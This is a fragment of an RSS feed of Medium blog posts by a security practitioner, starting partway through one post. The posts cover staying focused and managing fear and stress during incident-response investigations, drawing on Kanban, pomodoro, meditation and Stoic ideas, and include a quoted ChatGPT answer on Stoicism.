who did not multitask as often. (1)</li><li>Multitasking can lead to a decrease in productivity, as the brain takes time to switch between tasks and can lose focus on any one task. (2)</li><li>Multitasking can lead to a decrease in cognitive control and an increase in the likelihood of making mistakes, due to the demands it places on attentional resources. In this study, participants who frequently multitasked had significantly worse performance on a task requiring cognitive control compared to those who did not multitask as often. (3)</li></ul><p>I would advise to keep this in mind both on a team and an individual level. <strong>As a team</strong> I think it is extremely important to have a clear, <strong>dedicated lead</strong> for each investigation. This persons sole job should be to keep everyone in line, up to date, schedule &amp; distribute information &amp; work, make sure that all the policies (runbooks, processes, best practices, …) are followed. For a smaller team this might feel like a waste of resources, but as I’ve advised in the past for several people: fight that feeling (or even better: make the role explicit in your IR plan)… having a dedicated lead will pay back. And when you are the lead: don’t fall into the trap of getting your hands dirty “just this one time”… Your leadership will have a much larger impact if you can keep your focus on the team as a whole and not on the technical (and sometimes exciting) challenges.</p><p><strong>Kanban with the right WIP limits</strong> — closely managed by the lead — can provide the right supporting structure for the team members to keep their focus. Have a board with a few columns (todo, doing, review, done) and limit how many parallel tracks can be open (in this case one per person, no team level limit) and do quick standups during the day(s).</p><p><strong>A team version of the </strong><a href="https://medium.com/personal-growth-lab/7-easy-steps-to-use-the-pomodoro-technique-for-increased-focus-productivity-de33bd1dcf0d"><strong>pomodoro technique</strong></a> can give further support to split your tasks to small (and clear) enough chunks and a nice cadence for a quick standup for the whole team. I especially found it useful during the initial stages of an investigation, when there are typically a huge amount of questions to be answered, which can be nicely split &amp; distributed across team members. Then during the standup everyone can share their results from the previous pomodoro session. A few questions will be answered, some challenges will be raised, the lead and the team can re-evaluate the plan and close a few tracks which are not applicable any more and open new ones on the kanban board. Also it is a good point in time to agree on the length of the next pomodoro session.</p><p>As you can see the above structure would already give guidance for the <strong>individuals </strong>in the investigation, however keep in mind: even if your team is not following this structure, you still can!</p><p>For the individual the biggest productivity boost is to be able to <strong>get in the zone / get into flow state</strong> (yes, you will need to get past the short team level pomodoro sessions for this).</p><h4>Get into flow</h4><figure><img alt="A portrait of a women blending into a colorful wave." src="https://cdn-images-1.medium.com/max/1024/1*U8053Tl4l_QCULCn7OoQNg.png" /><figcaption>Generated with Midjourney</figcaption></figure><ol><li>Get (and as a lead set) crystal clear goals. (4)</li><li>Keep short feedback loops: whatever you do try to start small. Write a PoC script first, experiment with the right query on a small dataset to gain insights and improve continuously in short iterations.</li><li>Find the right balance between challenge and skill: your task should be challenging but not overwhelming to you. (5)</li><li>Flow requires a high level of concentration and focus on the task at hand, without distractions or interruptions. (6, 7) This is the time when I plug in my noise canceling headphones either with a <a href="https://mynoise.net/NoiseMachines/cafeRestaurantNoiseGenerator.php">Cafe / Restaurant</a> noises or <a href="https://mynoise.net/NoiseMachines/binauralBrainwaveGenerator.php">Binaural beats</a> in the background and will close the door so my son won’t be able to visually distract me neither.</li></ol><p>Although getting into flow is definitely an individual journey, a good teammate / lead / manager / human being should help out others in the team by keeping this aspect in mind when the tasks are created / assigned (on the kanban board).</p><h4>Beginners mind — for whenever you feel stuck in a loop</h4><figure><img alt="Curious looking baby sitting in front of a laptop." src="https://cdn-images-1.medium.com/max/1024/1*vx7XDempTpLmmJswZMpB7w.png" /><figcaption>Generated with Midjourney</figcaption></figure><p>Ideally you have a ton of contextual knowledge and ideas how to handle security events at your company. You did tabletop exercises and spent several hours together with various teams to simulate an incident response.</p><p>Whenever you feel stuck in a loop, I’m inviting you to put aside everything you know and try to empty your brain. Operate purely based on the facts and reevaluate your options with a beginner’s mind. It is really easy to get caught up in the moment and work based on assumptions about the environment you protect and mechanically follow processes. If the process and playbook is perfect and tailored exactly to your specific scenario, I wouldn’t advise this however this is rarely the case (and btw if it is: why not automate the whole thing…). Also to be clear: I’m not saying to drop your playbooks / processes. I’m just saying that time to time it makes sense to put it aside for an hour, take a big breath and start fresh.</p><h4>Write everything down</h4><p>Write down what you did, when, why and what was the result. Keep references to the original queries / scripts which ran and the result set. I really love keeping things in one place so I personally prefer to use our kanban board and the tickets, but whatever messaging platform you use is fine as well.</p><p>The important is that this way you:</p><ul><li>will have proof and a timeline for later,</li><li>get some headspace: writing things down will help you to let things go where you already came to a conclusion and it will also help you to one as most likely you will spot any errors or potential shortcuts yourself while writing things done,</li><li>provide transparency to others so they can (and should) cross check your thought process for errors or potential shortcuts.</li></ul><h4>Just sit / walk / breath — for whenever you need more headspace</h4><figure><img alt="Monk walking on a bridge." src="https://cdn-images-1.medium.com/max/1024/1*U6cnW_VGUTPZQuiHVtXx9Q.png" /><figcaption>Generated with Midjourney</figcaption></figure><p>Yes, you guessed… this is the part about meditation. Ideally you already practice often, so this is just a reminder that whenever you hit a roadblock, feel stuck or your mind is simply too noisy to get any meaningful results out of it: meditation can help. But even if you don’t practice: we can simply call it a reminder to take a break from your task. Get up from your machine, go outside and take walk… focus on your breath, on your steps, be mindful of where you are, don’t stress about “emptying your brain”… if any thought comes up, just accept it, observe it and see it going away as you gently focus back on the present moment. Of course if the weather is bad: you always can walk inside as well, but sitting works as well. If taking a short nap is OK you also can of course risk lying down a bit :)</p><p>I’m pretty sure you will manage to find some guided meditation on the spot if you need any help, but these are the apps I have on my phone for this specific reason:</p><ul><li><a href="https://meditation.downdogapp.com/">https://meditation.downdogapp.com/</a></li><li><a href="https://buddhify.com/">https://buddhify.com/</a> — I find the name terrible, but the app is pretty simple &amp; great)</li><li><a href="https://www.headspace.com/">https://www.headspace.com/</a> — not a user any more as at some point I found myself focusing so much on the badges and keeping my perfect streak that I forgot the original reason for using it…</li><li>youtube … :)</li></ul><p>Well… I wanted to make this one short and I clearly failed. I hope you managed to get through it and found some value. All feedback is welcome, so please don’t shy away from leaving a response.</p><h4>References</h4><ol><li>“The effects of multitasking on cognitive control and error-rate” by M.D. Cain, D.J. Laird, and J.A. Moore (published in Psychological Science, 2010).</li><li>“Multitasking negatively affects task enjoyment and perceived personal accomplishment” by D.E. Conklin, C.A. Oehrlein, and J.B. Arkin (published in Organizational Behavior and Human Decision Processes, 2010).</li><li>“The negative effects of multitasking on decision-making: An attentional depletion account” by A.K. Bari, J.A. Baumeister, and E.J. Masicampo (published in Organizational Behavior and Human Decision Processes, 2013).</li><li>Locke, E. A., &amp; Latham, G. P. (2002). Building a practically useful theory of goal setting and task motivation: a 35-year odyssey. American Psychologist, 57(9), 705–717.</li><li>Lopez, S. J., &amp; Snyder, C. R. (2003). Positive psychological assessment: a handbook of models and measures. American Psychological Association.</li><li>Smith, J. L., &amp; Kosslyn, S. M. (2007). Cognitive psychology: mind and brain. Upper Saddle River, NJ: Pearson/Prentice Hall.</li><li>Banbury, S., &amp; Berry, C. (2005). The psychology of the office: design for the human animal. Ergonomics, 48(9), 993–1004.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=141886f2fdc1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Coping with fear and stress during investigations]]></title>
            <link>https://medium.com/@woff/coping-with-fear-and-stress-during-cybersecurity-investigations-b441b5a6d0aa?source=rss-b82de4d2808b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b441b5a6d0aa</guid>
            <category><![CDATA[mental-health]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[stoicism]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[woFF]]></dc:creator>
            <pubDate>Tue, 27 Dec 2022 20:55:43 GMT</pubDate>
            <atom:updated>2023-01-07T15:42:56.658Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This post is the first of three where I share a few tools which worked for me to keep my sanity during and after cybersecurity investigations. The </em><a href="https://medium.com/@woff/keeping-your-focus-during-security-investigations-141886f2fdc1"><em>second post of the series about focus is up as well</em></a><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PL2tAVuA_KkZ2iUrmBwnJg.png" /><figcaption>Created with Midjourney.</figcaption></figure><p>There are some people who are naturally calm and able to endure a great deal of stress during difficult situations. I am not one of them. Over the years, I have had to learn a few mental tools to help me stay focused on the task at hand and not get carried away by my thoughts and emotions.</p><p>I would like to share these tools and concepts as I believe handling a security investigation in a blue team can be definitely stressful even if it is likely that it is just an unsuccessful attempt or someone hunting for a bugbounty. As a consultant, I have found that these types of investigations can be exciting, but even though it has been a long time since I have done this work, I can still sometimes feel the pressure of ensuring that nothing is missed and that all rules are followed precisely.</p><p>Please note that this is not a technical post, and I am not a philosopher or psychologist. If you feel that you need professional help, it is important to seek out a professional rather than relying on online articles. This post is simply a collection of some Stoic, Buddhist, and Taoist ideas that have helped me cope with stressful situations, and I hope that others may find value in them as well. It is also meant to serve as a reminder for myself, and nothing more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p3g6uNbkqd2awTMVW4CEOA.png" /><figcaption><strong>Created with Midjourney</strong></figcaption></figure><p>If you have ever been on-call within a security team for a longer time period you may be familiar with the feeling of suddenly being torn out from deep sleep by the sound of your phone and listening to the artificial voice of the text to speech message. For me, these moments always bring an immediate rush of adrenaline, and opening up my laptop to look at the details of a suspicious alert only increases my stress level further. And this is only the start of most of the investigations. As time passes and you dig into the details fear can slowly creep in as well. Fear of the worst-case scenarios and their potential impact, fear of making mistakes, and fear of letting others down.</p><p>The issue with fear and stress is that although they absolutely have their places in our lives and can be useful in specific situations (you know the typical example of meeting a lion a few thousand years ago), they won’t help handling cybersecurity investigations.</p><p>Fear is a natural response to a perceived threat or danger and for some reason my mind couldn’t differentiate a lion from a midnight phone call and a few log lines on the screen. And although fear is super useful to get away from that lion, it tends to put the mind in a mode where all the attention is on the perceived source of the fear, and as a result, it may be less able to pay attention to the details of all the other things. And while the initial burst of stress can be helpful to get and stay sharp (I mean being able to think semi clearly at 3AM is definitely an achievement) its positive effects won’t last long and will very quickly impair one’s capabilities to investigate anything clearly. So I think we can agree that ideally security investigations should be handled without fear, anxiety and stress being involved. In a future article, I will explore the long-term impact of these emotions on our work, but for now, let’s focus on ways to address these emotions in the moment.</p><h4><strong>What is really in your control?</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sA22il0Ndv180QdiJyRHRg.png" /></figure><blockquote>&quot;Do not let your peace depend on the hearts of others. It is not in their power to give or to take away peace, but only in your power.&quot; - Marcus Aurelius, Meditations</blockquote><p>Do you have full control over the actions of the adversary? No.</p><p>Do you have full control over the outcome of the incident? Not really, you might do your job 100% perfect 0/24 for a week but it already might be too late.</p><p>Do you have full control over your team, their actions and work? You can influence it, but you definitely don’t control them.</p><p>So what are you left with? Your actions (including your thoughts). That’s it.</p><p>While this may seem like a trivial and obvious idea, it can be challenging to realize in the moment that you are worrying about things that are outside of your control and to wholeheartedly accept it. However, this recognition and acceptance can be a powerful way to help manage your stress and anxiety and stay focused on the task at hand.</p><p>What can you realistically do to actually stop and remind yourself about your sphere of control?</p><p><strong>Create a trigger </strong>that reminds you to practice certain techniques. These triggers can be anything from opening up the IR playbook, creating / joining an IR slack channel to putting down your phone. Look for something that’s rare enough and most likely you are not (yet) super deep into the investigation.</p><p>OK, so now you have your own attention… <strong>ask yourself: “What is truly in my control?”</strong>. And analyze the situation honestly… hopefully getting to the conclusion that you only control your own actions. Try to use this realization as a mantra throughout the investigation.</p><p>Whenever you feel you’ve lost your mantra or are starting to loose your inner balance:<strong> take a big breath and focus on it</strong>, focus on the present moment (whatever it might be). I wouldn’t spend too much time on mindfulness practices here, but your breathing is an awesome tool to bring your monkey mind back from all the theoretical futures and unchangeable past. If your mind wonders, gently bring it back to your breath. Don’t worry about it wondering away, just notice it and accept it. Realize where you are, what is actually happening (and what is only in your mind) and again bring back the mantra of focusing on your own actions. In the present moment. Step by step.</p><h4>What’s the worst that can happen?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0xY7xrd4-AXiF9SIPXvG_w.png" /><figcaption>Created with Midjourney</figcaption></figure><p>It is also pretty easy to get lost in such situations, go down the rabbit hole and already see the world in flames as the consequence of an imagined security incident. To help with that, whenever you feel you have 10 minutes <strong>ask yourself: “What’s the worst that can happen?”</strong>. Try to focus on your breathing, remind yourself about what you control, slow down and evaluate the potential outcomes as objectively as possible.</p><p>Maybe the investigation discovers that it is already too late, someone took away the “crown jewels”. Your company might end up communicating the whole situation the worst possible way, looses customers, gets huge fines. When you feel you reached the end, ask yourself: “What else?”… OK, there is a really low probability that the company goes out of business and you might lose your job. If you sit over the question for long enough there is a large chance you will see that whatever the worst case scenario is, it is rarely the end of the world. There was a time when you didn’t have your current job… you managed to get it so most likely you would be able to find another one. You still would have everything you had before… your experience and knowledge, your health, your family. And this is the worst case scenario. There is a large chance that life wouldn’t get this uncomfortable, but even if it does, you just went through the exercise of reminding yourself about the fact that you would be able to manage it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mEU9fLpU2SX0WbB2Hcgkjw.png" /><figcaption>Created with Midjourney</figcaption></figure><p>At this point you can see your personal situation a more clearly. You may be suffering, or feel that you will suffer, and although it may feel like little confort: you are not alone. <strong>Looking at how others all around the world are suffering </strong>those working in cybersecurity are likely still considered fortunate.</p><p>Close your eyes a bit. Imagine yourself sitting in front of your machine, imagine your colleagues supporting you through the investigation… zoom out a bit and imagine the city you live in. Imagine how people are fighting for their lives in the hospitals, how people struggle without a home on the streets… Zoom out a bit further and imagine Earth and all the millions who lack food, shelter and clean water. Those whose homes were destroyed in wars and have to live in subway. Most likely as you go through and visualize suffering, you will start to feel more and more compassion… embrace it. As your compassion grows towards others and yourself, you will also be less stressed about your own situation.</p><p>I have to admit it is not the most relaxing exercise at first, but it really can calm my mind whenever something pushes me out of balance.</p><h4>Daily practice</h4><p>Of course you need practice. And although (hopefully) you won’t have worrisome alerts to investigate every day, if you look closely at the above tools (creating triggers, stopping to check what’s in your control, breathing, focusing on the present moment, and considering objectively what is the worst thing that can happen) they are pretty generic.</p><p>Start to apply them to other situations that might be stressful to you. Read about mindfulness practices, Tonglen meditation, loving-kindness meditation, breathing exercises and the Dichotomy Of Control. There are tons of great ancient books and modern articles and videos about these topics. Internalize them, experiment with them and find what works the best for you… There are no silver bullets.</p><p>I will write a separate post about how I cope with the long-term emotional burden that can come with working in cybersecurity. So if you feel that this post is short on addressing this topic, you are correct. But before we delve into that topic, the <a href="https://medium.com/@woff/keeping-your-focus-during-security-investigations-141886f2fdc1">next post in the series is about some practices that I have found helpful for maintaining focus during investigations</a>.</p><p>A few links &amp; hopefully useful resources:</p><ul><li><a href="https://medium.com/stoicism-philosophy-as-a-way-of-life/the-stoic-way-to-embody-courage-1727c18321a3">https://medium.com/stoicism-philosophy-as-a-way-of-life/the-stoic-way-to-embody-courage-1727c18321a3</a></li><li><a href="https://www.lionsroar.com/how-to-practice-tonglen/">https://www.lionsroar.com/how-to-practice-tonglen/</a></li><li><a href="https://www.thecollector.com/what-are-the-four-cardinal-virtues-of-stoicism/">https://www.thecollector.com/what-are-the-four-cardinal-virtues-of-stoicism/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b441b5a6d0aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stoicism in Cybersecurity through the lens of AI]]></title>
            <link>https://medium.com/@woff/lets-see-what-does-chatgpt-see-relevant-from-stoicism-in-cybersecurity-34c6c51b10aa?source=rss-b82de4d2808b------2</link>
            <guid isPermaLink="false">https://medium.com/p/34c6c51b10aa</guid>
            <category><![CDATA[mental-health]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phylosophy]]></category>
            <category><![CDATA[stoicism]]></category>
            <dc:creator><![CDATA[woFF]]></dc:creator>
            <pubDate>Sat, 10 Dec 2022 12:15:49 GMT</pubDate>
            <atom:updated>2022-12-13T22:42:49.468Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jzx7WV05iNCzDU6Prm_0jA.png" /><figcaption>Photo by Deniz Altindas on Unsplash</figcaption></figure><p>I work in cybersecurity. I find Stoic and Buddhist principles and philosophy especially useful in this field. I believe burning out, being constantly worried and loosing a healthy work life balance is a challenge. It definitely is / was for me. For years I’ve been gathering my thoughts (as a people manager, product manager, incident responder, security engineer…) but always shied away from sharing them. I decided to change that.</p><p>To kick it off I jumped on the <a href="https://chat.openai.com/">ChatGPT</a> train and asked it what Stoic principles would be useful for cybersecurity professionals. IMHO it is a decent high level 101 (and nicely overlaps with my experience) but my hope is that I will manage to give it a bit more colour and hands on practice here.</p><p><em>The below text is the response from ChatGPT, sign up, play with it, I think it is an interesting rubber-duck.</em></p><p>Stoicism is a philosophy that was founded by Zeno of Citium in the early 3rd century BC. It teaches the development of self-control and resilience through the practice of virtue and the pursuit of wisdom. Some Stoic principles that may be useful for cybersecurity professionals include:</p><ul><li>Focus on what you can control: In the face of constantly evolving cyber threats, it can be easy to become overwhelmed and feel like you have no control over the situation. However, as a cybersecurity professional, you can focus on what you can control, such as your own actions and decisions, and use that control to protect your organization and its data.</li><li>Accept the things you cannot control: At the same time, there will inevitably be aspects of cybersecurity that you cannot control, such as the actions of malicious hackers or the vulnerabilities of your organization&#39;s systems. In these cases, it can be helpful to practice acceptance and let go of the need to control the uncontrollable.</li><li>Practice virtue: In Stoicism, virtue is seen as the key to a happy and fulfilled life. For cybersecurity professionals, practicing virtue may mean upholding ethical standards, treating others with respect, and always striving to do the right thing, even in difficult situations.</li><li>Seek wisdom: As a cybersecurity professional, it is important to constantly strive to learn and improve your knowledge and skills in order to stay ahead of the curve and protect your organization effectively. This pursuit of wisdom aligns with the Stoic emphasis on lifelong learning and self-improvement.</li><li>Overall, the principles of Stoicism can help cybersecurity professionals stay calm, focused, and effective in the face of challenges, and provide a foundation for ethical and virtuous behavior in the workplace.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34c6c51b10aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>